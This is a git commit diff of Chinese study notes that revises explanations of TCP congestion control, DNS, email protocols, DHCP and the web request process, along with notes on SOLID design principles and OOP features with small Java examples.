1. 确保最后一个确认报文段能够到达。如果 B 没收到 A 发送来的确认报文段,那么就会重新发送连接释放请求报文段,A 等待一段时间就是为了处理这种情况的发生。
|
||||
2. 可能存在“已失效的连接请求报文段”,为了防止这种报文段出现在本次连接之外,需要等待一段时间。
|
||||
|
||||
2. 等待一段时间是为了让本连接持续时间内所产生的所有报文段都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文段。
|
||||
|
||||
## TCP 滑动窗口
|
||||
|
||||
<div align="center"> <img src="../pics//223fc26e-2fd6-484c-bcb7-443cac134f15.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
|
||||
|
||||
窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小。
|
||||
|
||||
@ -668,52 +669,52 @@ TCP 使用超时重传来实现可靠传输:如果一个已经发送的报文
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTTs=(1-a)*(RTTs)+a*RTT"/></div> <br>
|
||||
|
||||
超时时间 RTO 应该略大于 RRTs,TCP 使用的超时时间计算如下:
|
||||
超时时间 RTO 应该略大于 RTTs,TCP 使用的超时时间计算如下:
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTO=RTTs+4*RTT_d"/></div> <br>
|
||||
|
||||
其中 RTT<sub>d</sub> 为偏差,它与新的 RRT 和 RRTs 有关。
|
||||
其中 RTT<sub>d</sub> 为偏差。
|
||||
|
||||
## TCP 流量控制
|
||||
|
||||
流量控制是为了控制发送方发送速率,保证接收方来得及接收。
|
||||
|
||||
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。例如将窗口字段设置为 0,则发送方不能发送数据。
|
||||
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0,则发送方不能发送数据。
|
||||
|
||||
## TCP 拥塞控制
|
||||
|
||||
如果网络出现拥塞,分组将会丢失,此时发送方会继续重传,从而导致网络拥塞程度更高。因此当出现拥塞时,应当控制发送方的速率。这一点和流量控制很像,但是出发点不同。流量控制是为了让接收方能来得及接受,而拥塞控制是为了降低整个网络的拥塞程度。
|
||||
|
||||
<div align="center"> <img src="../pics//a69af9bb-b5ad-4896-862d-697e5ee4feb1.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
|
||||
|
||||
TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。发送方需要维护有一个叫做拥塞窗口(cwnd)的状态变量。注意拥塞窗口与发送方窗口的区别,拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。
|
||||
TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。发送方需要维护一个叫做拥塞窗口(cwnd)的状态变量。注意拥塞窗口与发送方窗口的区别,拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。
|
||||
|
||||
为了便于讨论,做如下假设:
|
||||
|
||||
1. 接收方有足够大的接收缓存,因此不会发生流量控制;
|
||||
2. 虽然 TCP 的窗口基于字节,但是这里设窗口的大小单位为报文段。
|
||||
|
||||
<div align="center"> <img src="../pics//346244ff-98c1-4f12-9a87-d0832e8c04cf.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
|
||||
|
||||
### 慢开始与拥塞避免
|
||||
### 1. 慢开始与拥塞避免
|
||||
|
||||
发送的最初执行慢开始,令 cwnd=1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段为:2、4、8 ...
|
||||
发送的最初执行慢开始,令 cwnd=1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段数量为:2、4、8 ...
|
||||
|
||||
注意到慢开始每个轮次都将 cwnd 加倍,这样会让 cwnd 增长速度非常快,从而使得发送方发送的速度增长速度过快,网络拥塞的可能也就更高。设置一个慢开始门限 ssthresh,当 cwnd >= ssthresh 时,进入拥塞避免,每个轮次只将 cwnd 加 1。
|
||||
|
||||
如果出现了超时,则令 ssthresh = cwnd / 2,然后重新执行慢开始。
|
||||
如果出现了超时,则令 ssthresh = cwnd/2,然后重新执行慢开始。
|
||||
|
||||
### 快重传与快恢复
|
||||
### 2. 快重传与快恢复
|
||||
|
||||
在接收方,要求每次接收到报文段都应该发送对已收到有序报文段的确认,例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>,此时收到 M<sub>4</sub>,应当发送对 M<sub>2</sub> 的确认。
|
||||
|
||||
在发送方,如果收到三个重复确认,那么可以确认下一个报文段丢失,例如收到三个 M<sub>2</sub> ,则 M<sub>3</sub> 丢失。此时执行快重传,立即重传下一个报文段。
|
||||
|
||||
在这种情况下,只是丢失个别报文段,而不是网络拥塞,因此执行快恢复,令 ssthresh = cwnd / 2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。
|
||||
在这种情况下,只是丢失个别报文段,而不是网络拥塞,因此执行快恢复,令 ssthresh = cwnd/2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。
|
||||
|
||||
<div align="center"> <img src="../pics//b18d679b-c8e2-4564-88ee-7600090e46da.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
|
||||
|
||||
# 第六章 应用层*
|
||||
# 六、应用层*
|
||||
|
||||
## 域名系统 DNS
|
||||
|
||||
@ -725,9 +726,9 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
|
||||
|
||||
一个域名由多个层次构成,从上层到下层分别为顶级域名、二级域名、三级域名以及四级域名。所有域名可以画成一颗域名树。
|
||||
|
||||
<div align="center"> <img src="../pics//c2117f61-1177-4768-bf33-cf4f950d911c.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c2117f61-1177-4768-bf33-cf4f950d911c.png" width=""/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//a4b162e5-db2a-4a27-b213-1fe481c5a06a.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//a4b162e5-db2a-4a27-b213-1fe481c5a06a.png" width=""/> </div><br>
|
||||
|
||||
域名服务器可以分为以下四类:
|
||||
|
||||
@ -738,25 +739,29 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
|
||||
|
||||
区和域的概念不同,可以在一个域中划分多个区。图 b 在域 abc.com 中划分了两个区:abc.com 和 y.abc.com
|
||||
|
||||
<div align="center"> <img src="../pics//fc0c6b2d-68c7-4de8-aaaa-97355a4f0472.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//fc0c6b2d-68c7-4de8-aaaa-97355a4f0472.jpg" width=""/> </div><br>
|
||||
|
||||
因此就需要两个权限域名服务器:
|
||||
|
||||
<div align="center"> <img src="../pics//8b335d94-c1ca-42e1-ad48-bb179d28a4f1.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//8b335d94-c1ca-42e1-ad48-bb179d28a4f1.jpg" width=""/> </div><br>
|
||||
|
||||
### 2. 解析过程
|
||||
|
||||
主机向本地域名服务器解析的过程采用递归,而本地域名服务器向其它域名服务器解析可以使用递归和迭代两种方式。
|
||||
|
||||
迭代的方式下,本地域名服务器向一个域名服务器解析请求解析之后,结果返回到本地域名服务器,然后本地域名服务器继续向其它域名服务器请求解析;而递归地方式下,结果不是直接返回的,而是继续向前请求解析,最后的结果才会返回。
|
||||
迭代的方式下,本地域名服务器向一个域名服务器解析请求解析之后,结果返回到本地域名服务器,然后本地域名服务器继续向其它域名服务器请求解析;而递归的方式下,结果不是直接返回的,而是继续向前请求解析,最后的结果才会返回。
|
||||
|
||||
<div align="center"> <img src="../pics//6bc61bb8-3b1c-4dc8-ac25-cef925ace0eb.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e6723b94-1a33-4605-b775-f6813352d383.png" width="800"/> </div><br>
|
||||
|
||||
### 3. 使用的运输层协议
|
||||
|
||||
DNS 在解析的过程使用 UDP 进行传输,因为 UDP 最大只支持 512 字节的数据,如果超过的话就需要使用 TCP 传输。
|
||||
|
||||
## 文件传输协议 FTP
|
||||
|
||||
FTP 在运输层使用 TCP,并且需要建立两个并行的 TCP 连接:控制连接和数据连接。控制连接在整个会话期间一直保持打开,而数据连接在数据传送完毕之后就关闭。控制连接使用端口号 21,数据连接使用端口号 20。
|
||||
|
||||
<div align="center"> <img src="../pics//58633775-8584-4a01-ad3f-eee4d9a466e1.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//30210b86-472d-4574-abb6-b74898cc17a4.jpg" width="700"/> </div><br>
|
||||
|
||||
## 远程终端协议 TELNET
|
||||
|
||||
@ -764,29 +769,25 @@ TELNET 用于登录到远程主机上,并且远程主机上的输出也会返
|
||||
|
||||
TELNET 可以适应许多计算机和操作系统的差异,例如不同操作系统系统的换行符定义。
|
||||
|
||||
## 万维网 WWW
|
||||
|
||||
[HTTP](https://github.com/CyC2018/InterviewNotes/blob/master/notes/HTTP.md)
|
||||
|
||||
## 电子邮件协议
|
||||
|
||||
一个电子邮件系统由三部分组成:用户代理、邮件服务器以及邮件发送协议和读取协议。其中发送协议常用 SMTP,读取协议常用 POP3 和 IMAP。
|
||||
|
||||
<div align="center"> <img src="../pics//de1e46d2-748f-4da3-a29e-7de7bc840366.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
|
||||
|
||||
### POP3
|
||||
### 1. POP3
|
||||
|
||||
POP3 的特点是只要用户从服务器上读取了邮件,就把该邮件删除。
|
||||
|
||||
### IMAP
|
||||
### 2. IMAP
|
||||
|
||||
IMAP 协议中客户端和服务器上的邮件保持同步,如果不去手动删除邮件,那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。IMAP 协议也支持创建自定义的文件夹。
|
||||
|
||||
### SMTP
|
||||
### 3. SMTP
|
||||
|
||||
SMTP 只能发送 ASCII 码,而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP,而是增加邮件主题的结构,定义了非 ASCII 码的编码规则。
|
||||
|
||||
<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
|
||||
|
||||
## 动态主机配置协议 DHCP
|
||||
|
||||
@ -812,37 +813,85 @@ P2P 是一个分布式系统,任何时候都有对等方加入或者退出。
|
||||
|
||||
## Web 页面请求过程
|
||||
|
||||
1. 向 DNS 服务器发送 DNS 查询报文来解析域名。
|
||||
### 1. DHCP 配置主机信息
|
||||
|
||||
2. 开始进行 HTTP 会话,需要先建立 TCP 连接。
|
||||
1. 假设主机最开始没有 IP 地址以及其它信息,那么就需要先使用 DHCP 来获取。
|
||||
|
||||
3. 在运输层的传输过程中,HTTP 报文被封装进 TCP 中。HTTP 请求报文使用端口号 80,因为服务器监听的是 80 端口。连接建立之后,服务器会随机分配一个端口号给特定的客户端,之后的 TCP 传输都是用这个分配的端口号。
|
||||
2. 主机生成一个 DHCP 请求报文,并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。
|
||||
|
||||
4. 在网络层的传输过程中,TCP 报文段会被封装进 IP 分组中,IP 分组经过路由选择,最后到达目的地。
|
||||
3. 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址(0.0.0.0)的 IP 数据报中。
|
||||
|
||||
5. 在链路层,IP 分组会被封装进 MAC 帧中,IP 地址解析成 MAC 地址需要使用 ARP。
|
||||
4. 该数据报则被放置在 MAC 帧中,该帧具有目的地址 FF:FF:FF:FF:FF:FF,将广播到与交换机连接的所有设备。
|
||||
|
||||
6. 客户端发送 HTTP 请求报文,请求获取页面。
|
||||
5. 连接在交换机的 DHCP 服务器收到广播帧之后,不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文,之后生成 DHCP ACK 报文,该报文包含以下信息:IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中,UDP 报文段有被放入 IP 数据报中,最后放入 MAC 帧中。
|
||||
|
||||
7. 服务器发送 HTTP 相应报文,客户端从而获取该页面。
|
||||
8. 该帧的目的地址是请求主机的 MAC 地址,因为交换机具有自学习能力,之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项,因此现在交换机就可以直接知道应该向哪个接口发送该帧。
|
||||
|
||||
8. 浏览器得到页面内容之后,解析并渲染,向用户展示页面。
|
||||
9. 主机收到该帧后,不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址,并在其 IP 转发表中安装默认网关。
|
||||
|
||||
### 2. ARP 解析 MAC 地址
|
||||
|
||||
1. 主机通过浏览器生成一个 TCP 套接字,套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字,主机需要知道网站的域名对应的 IP 地址。
|
||||
|
||||
2. 主机生成一个 DNS 查询报文,该报文具有 53 号端口,因为 DNS 服务器的端口号是 53。
|
||||
|
||||
3. 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。
|
||||
|
||||
4. 该 IP 数据报被放入一个以太网帧中,该帧将发送到网关路由器。
|
||||
|
||||
5. DHCP 过程只知道网关路由器的 IP 地址,为了获取网关路由器的 MAC 地址,需要使用 ARP 协议。
|
||||
|
||||
6. 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文,将该 ARP 查询报文放入一个具有广播目的地址(FF:FF:FF:FF:FF:FF)的以太网帧中,并向交换机发送该以太网帧,交换机将该帧转发给所有的连接设备,包括网关路由器。
|
||||
|
||||
7. 网关路由器接收到该帧后,不断向上分解得到 ARP 报文,发现其中的 IP 地址与其接口的 IP 地址匹配,因此就发送一个 ARP 回答报文,包含了它的 MAC 地址,发回给主机。
|
||||
|
||||
### 3. DNS 解析域名
|
||||
|
||||
1. 知道了网关路由器的 MAC 地址之后,就可以继续 DNS 的解析过程了。
|
||||
|
||||
2. 网关路由器接收到包含 DNS 查询报文的以太网帧后,抽取出 IP 数据报,并根据转发表决定该 IP 数据报应该转发的路由器。
|
||||
|
||||
3. 因为路由器具有内部网关协议(RIP、OSPF)和外部网关协议(BGP)这两种路由选择协议,因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。
|
||||
|
||||
4. 到达 DNS 服务器之后,DNS 服务器抽取出 DNS 查询报文,并在 DNS 数据库中查找待解析的域名。
|
||||
|
||||
5. 找到 DNS 记录之后,发送 DNS 回答报文,将该回答报文放入 UDP 报文段中,然后放入 IP 数据报中,通过路由器反向转发回网关路由器,并经过以太网交换机到达主机。
|
||||
|
||||
### 4. HTTP 请求页面
|
||||
|
||||
1. 有了 HTTP 服务器的 IP 地址之后,主机就能够生成 TCP 套接字,该套接字将用于向 Web 服务器发送 HTTP GET 报文。
|
||||
|
||||
2. 在生成 TCP 套接字之前,必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段,并向 HTTP 服务器发送该报文段。
|
||||
|
||||
3. HTTP 服务器收到该报文段之后,生成 TCP SYNACK 报文段,发回给主机。
|
||||
|
||||
4. 连接建立之后,浏览器生成 HTTP GET 报文,并交付给 HTTP 服务器。
|
||||
|
||||
5. HTTP 服务器从 TCP 套接字读取 HTTP GET 报文,生成一个 HTTP 响应报文,将 Web 页面内容放入报文主体中,发回给主机。
|
||||
|
||||
6. 浏览器收到 HTTP 响应报文后,抽取出 Web 页面内容,之后进行渲染,显示 Web 页面。
|
||||
|
||||
## 常用端口
|
||||
|
||||
| 应用层协议 | 端口号 | 运输层协议 |
|
||||
| -- | -- | -- |
|
||||
| DNS | 53 | UDP |
|
||||
| FTP | 控制连接 21,数据连接 20 | TCP |
|
||||
| TELNET | 23 | TCP |
|
||||
| DHCP | 67 68 | UDP |
|
||||
| HTTP | 80 | TCP |
|
||||
| SMTP | 25 | TCP |
|
||||
| POP3 | 110 | TCP |
|
||||
| IMAP | 143 | TCP |
|
||||
|应用| 应用层协议 | 端口号 | 运输层协议 | 备注 |
|
||||
| :---: | :--: | :--: | :--: | :--:
|
||||
| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
|
||||
| 动态主机配置协议 | DHCP | 67/68 | UDP | |
|
||||
| 简单网络管理协议 | SNMP | 161/162 | UDP | |
|
||||
| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21,数据连接 20
|
||||
| 远程终端协议 | TELNET | 23 | TCP | |
|
||||
|超文本传送协议 | HTTP | 80 | TCP | |
|
||||
| 简单邮件传送协议 | SMTP | 25 | TCP | |
|
||||
| 邮件读取协议 | POP3 | 110 | TCP | |
|
||||
| 网际报文存取协议 | IMAP | 143 | TCP | |
|
||||
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 计算机网络 第七版
|
||||
- 计算机网络 自顶向下方法
|
||||
- 计算机网络, 谢希仁
|
||||
- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
|
||||
- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
|
||||
- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
|
||||
- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
|
||||
- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
|
||||
- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
|
||||
|
1899
notes/设计模式.md
603
notes/重构.md
313
notes/面向对象思想.md
@ -1,111 +1,125 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [S.O.L.I.D](#solid)
|
||||
* [1. 单一责任原则](#1-单一责任原则)
|
||||
* [2. 开放封闭原则](#2-开放封闭原则)
|
||||
* [3. 里氏替换原则](#3-里氏替换原则)
|
||||
* [4. 接口分离原则](#4-接口分离原则)
|
||||
* [5. 依赖倒置原则](#5-依赖倒置原则)
|
||||
* [其他常见原则](#其他常见原则)
|
||||
* [1. 迪米特法则](#1-迪米特法则)
|
||||
* [2. 合成复用原则](#2-合成复用原则)
|
||||
* [3. 共同封闭原则](#3-共同封闭原则)
|
||||
* [4. 稳定抽象原则](#4-稳定抽象原则)
|
||||
* [5. 稳定依赖原则](#5-稳定依赖原则)
|
||||
* [封装、继承、多态](#封装继承多态)
|
||||
* [1. 封装](#1-封装)
|
||||
* [2. 继承](#2-继承)
|
||||
* [3. 多态](#3-多态)
|
||||
* [UML](#uml)
|
||||
* [1. 类图](#1-类图)
|
||||
* [2. 时序图](#2-时序图)
|
||||
* [一、设计原则](#一设计原则)
|
||||
* [S.O.L.I.D](#solid)
|
||||
* [其他常见原则](#其他常见原则)
|
||||
* [二、三大特性](#二三大特性)
|
||||
* [封装](#封装)
|
||||
* [继承](#继承)
|
||||
* [多态](#多态)
|
||||
* [三、类图](#三类图)
|
||||
* [泛化关系 (Generalization)](#泛化关系-generalization)
|
||||
* [实现关系 (Realization)](#实现关系-realization)
|
||||
* [聚合关系 (Aggregation)](#聚合关系-aggregation)
|
||||
* [组合关系 (Composition)](#组合关系-composition)
|
||||
* [关联关系 (Association)](#关联关系-association)
|
||||
* [依赖关系 (Dependency)](#依赖关系-dependency)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# S.O.L.I.D
|
||||
# 一、设计原则
|
||||
|
||||
S.O.L.I.D 是面向对象设计和编程 (OOD&OOP) 中几个重要编码原则 (Programming Priciple) 的首字母缩写。
|
||||
## S.O.L.I.D
|
||||
|
||||
| 简写 | 全拼 | 中文翻译 |
|
||||
| -- | -- | -- |
|
||||
|SRP| The Single Responsibility Principle | 单一责任原则 |
|
||||
|OCP| The Open Closed Principle | 开放封闭原则 |
|
||||
|LSP| The Liskov Substitution Principle | 里氏替换原则 |
|
||||
|ISP| The Interface Segregation Principle | 接口分离原则 |
|
||||
|DIP| The Dependency Inversion Principle | 依赖倒置原则 |
|
||||
| 简写 | 全拼 | 中文翻译 |
|
||||
| :--: | :--: | :--: |
|
||||
| SRP | The Single Responsibility Principle | 单一责任原则 |
|
||||
| OCP | The Open Closed Principle | 开放封闭原则 |
|
||||
| LSP | The Liskov Substitution Principle | 里氏替换原则 |
|
||||
| ISP | The Interface Segregation Principle | 接口分离原则 |
|
||||
| DIP | The Dependency Inversion Principle | 依赖倒置原则 |
|
||||
|
||||
### 1. 单一责任原则
|
||||
|
||||
## 1. 单一责任原则
|
||||
> 修改一个类的原因应该只有一个。
|
||||
|
||||
当需要修改某个类的时候原因有且只有一个。换句话说就是让一个类只做一种类型责任,当这个类需要承当其他类型的责任的时候,就需要分解这个类。
|
||||
换句话说就是让一个类只负责一件事,当这个类需要做过多事情的时候,就需要分解这个类。
|
||||
|
||||
## 2. 开放封闭原则
|
||||
如果一个类承担的职责过多,就等于把这些职责耦合在了一起,一个职责的变化可能会削弱这个类完成其它职责的能力。
|
||||
|
||||
软件实体应该是可扩展,而不可修改的。也就是说,对扩展是开放的,而对修改是封闭的。
|
||||
### 2. 开放封闭原则
|
||||
|
||||
## 3. 里氏替换原则
|
||||
> 类应该对扩展开放,对修改关闭。
|
||||
|
||||
当一个子类的实例应该能够替换任何其超类的实例时,它们之间才具有 is-a 关系。
|
||||
扩展就是添加新功能的意思,因此该原则要求在添加新功能时不需要修改代码。
|
||||
|
||||
## 4. 接口分离原则
|
||||
符合开闭原则最典型的设计模式是装饰者模式,它可以动态地将责任附加到对象上,而不用去修改类的代码。
|
||||
|
||||
不能强迫用户去依赖那些他们不使用的接口。换句话说,使用多个专门的接口比使用单一的总接口总要好。
|
||||
### 3. 里氏替换原则
|
||||
|
||||
## 5. 依赖倒置原则
|
||||
> 子类对象必须能够替换掉所有父类对象。
|
||||
|
||||
1. 高层模块不应该依赖于低层模块,二者都应该依赖于抽象
|
||||
2. 抽象不应该依赖于细节,细节应该依赖于抽象
|
||||
继承是一种 IS-A 关系,子类需要能够当成父类来使用,并且需要比父类更特殊。
|
||||
|
||||
# 其他常见原则
|
||||
如果不满足这个原则,那么各个子类的行为上就会有很大差异,增加继承体系的复杂度。
|
||||
|
||||
### 4. 接口分离原则
|
||||
|
||||
> 不应该强迫客户依赖于它们不用的方法。
|
||||
|
||||
因此使用多个专门的接口比使用单一的总接口要好。
|
||||
|
||||
### 5. 依赖倒置原则
|
||||
|
||||
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象;</br>抽象不应该依赖于细节,细节应该依赖于抽象。
|
||||
|
||||
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于低层模块,那么低层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
|
||||
|
||||
依赖于抽象意味着:
|
||||
|
||||
- 任何变量都不应该持有一个指向具体类的指针或者引用;
|
||||
- 任何类都不应该从具体类派生;
|
||||
- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
|
||||
|
||||
## 其他常见原则
|
||||
|
||||
除了上述的经典原则,在实际开发中还有下面这些常见的设计原则。
|
||||
|
||||
| 简写 | 全拼 | 中文翻译 |
|
||||
| -- | -- | -- |
|
||||
|LoD| The Law of Demeter | 迪米特法则 |
|
||||
|CRP| The Composite Reuse Principle | 合成复用原则 |
|
||||
|CCP| The Common Closure Principle | 共同封闭原则 |
|
||||
| :--: | :--: | :--: |
|
||||
|LOD| The Law of Demeter | 迪米特法则 |
|
||||
|CRP| The Composite Reuse Principle | 合成复用原则 |
|
||||
|CCP| The Common Closure Principle | 共同封闭原则 |
|
||||
|SAP| The Stable Abstractions Principle | 稳定抽象原则 |
|
||||
|SDP| The Stable Dependencies Principle | 稳定依赖原则 |
|
||||
|
||||
## 1. 迪米特法则
|
||||
### 1. 迪米特法则
|
||||
|
||||
迪米特法则又叫作最少知道原则(Least Knowledge Principle 简写LKP),就是说一个对象应当对其他对象有尽可能少的了解,不和陌生人说话。
|
||||
迪米特法则又叫作最少知识原则(Least Knowledge Principle,简写 LKP),就是说一个对象应当对其他对象有尽可能少的了解,不和陌生人说话。
|
||||
|
||||
## 2. 合成复用原则
|
||||
### 2. 合成复用原则
|
||||
|
||||
尽量使用对象组合,而不是继承来达到复用的目的。
|
||||
|
||||
## 3. 共同封闭原则
|
||||
### 3. 共同封闭原则
|
||||
|
||||
一起修改的类,应该组合在一起(同一个包里)。如果必须修改应用程序里的代码,我们希望所有的修改都发生在一个包里(修改关闭),而不是遍布在很多包里。
|
||||
|
||||
## 4. 稳定抽象原则
|
||||
### 4. 稳定抽象原则
|
||||
|
||||
最稳定的包应该是最抽象的包,不稳定的包应该是具体的包,即包的抽象程度跟它的稳定性成正比。
|
||||
|
||||
## 5. 稳定依赖原则
|
||||
### 5. 稳定依赖原则
|
||||
|
||||
包之间的依赖关系都应该是稳定方向依赖的,包要依赖的包要比自己更具有稳定性。
|
||||
|
||||
# 封装、继承、多态
|
||||
# 二、三大特性
|
||||
|
||||
封装、继承、多态是面向对象的三大特性。
|
||||
## 封装
|
||||
|
||||
## 1. 封装
|
||||
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
|
||||
|
||||
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体,数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户是无需知道对象内部的细节,但可以通过该对象对外的提供的接口来访问该对象。
|
||||
优点:
|
||||
|
||||
封装有三大好处:
|
||||
|
||||
1. 良好的封装能够减少耦合。
|
||||
2. 类内部的结构可以自由修改。
|
||||
3. 可以对成员进行更精确的控制。
|
||||
4. 隐藏信息,实现细节。
|
||||
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
|
||||
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
|
||||
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
|
||||
- 提高软件的可重用性
|
||||
- 减低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
|
||||
|
||||
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
|
||||
|
||||
注意到 gender 属性使用 int 数据类型进行存储,封装使得用户注意不到这种实现细节。并且在需要修改使用的数据类型时,也可以在不影响客户端代码的情况下进行。
|
||||
注意到 gender 属性使用 int 数据类型进行存储,封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时,也可以在不影响客户端代码的情况下进行。
|
||||
|
||||
```java
|
||||
public class Person {
|
||||
@ -125,31 +139,35 @@ public class Person {
|
||||
if(18 <= age && age <= 50) {
|
||||
System.out.println(name + " is working very hard!");
|
||||
} else {
|
||||
System.out.println(name + " can't work!");
|
||||
System.out.println(name + " can't work any more!");
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 2. 继承
|
||||
## 继承
|
||||
|
||||
继承实现了 **is-a** 关系,例如 Cat 和 Animal 就是一种 is-a 关系,因此可以将 Cat 继承自 Animal,从而获得 Animal 非 private 的属性和方法。
|
||||
继承实现了 **IS-A** 关系,例如 Cat 和 Animal 就是一种 IS-A 关系,因此 Cat 可以继承自 Animal,从而获得 Animal 非 private 的属性和方法。
|
||||
|
||||
Cat 可以当做 Animal 来使用,也就是可以使用 Animal 引用 Cat 对象,这种子类转换为父类称为 **向上转型** 。
|
||||
|
||||
继承应该遵循里氏替换原则:当一个子类的实例应该能够替换任何其超类的实例时,它们之间才具有 is-a 关系。
|
||||
Cat 可以当做 Animal 来使用,也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型** 。
|
||||
|
||||
```java
|
||||
Animal animal = new Cat();
|
||||
```
|
||||
|
||||
## 3. 多态
|
||||
继承应该遵循里氏替换原则,子类对象必须能够替换掉所有父类对象。
|
||||
|
||||
多态分为编译时多态和运行时多态。编译时多态主要指方法的重装,运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定。
|
||||
## 多态
|
||||
|
||||
多态有三个条件:1. 继承;2. 覆盖父类方法;3. 向上转型。
|
||||
多态分为编译时多态和运行时多态。编译时多态主要指方法的重载,运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定。
|
||||
|
||||
下面的代码中,乐器类(Instrument)有两个子类:Wind 和 Percussion,它们都覆盖了 play() 方法,并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时,会执行实际引用对象所在类的 play() 方法,而不是 Instrument 类的方法。
|
||||
运行时多态有三个条件:
|
||||
|
||||
1. 继承
|
||||
2. 覆盖
|
||||
3. 向上转型
|
||||
|
||||
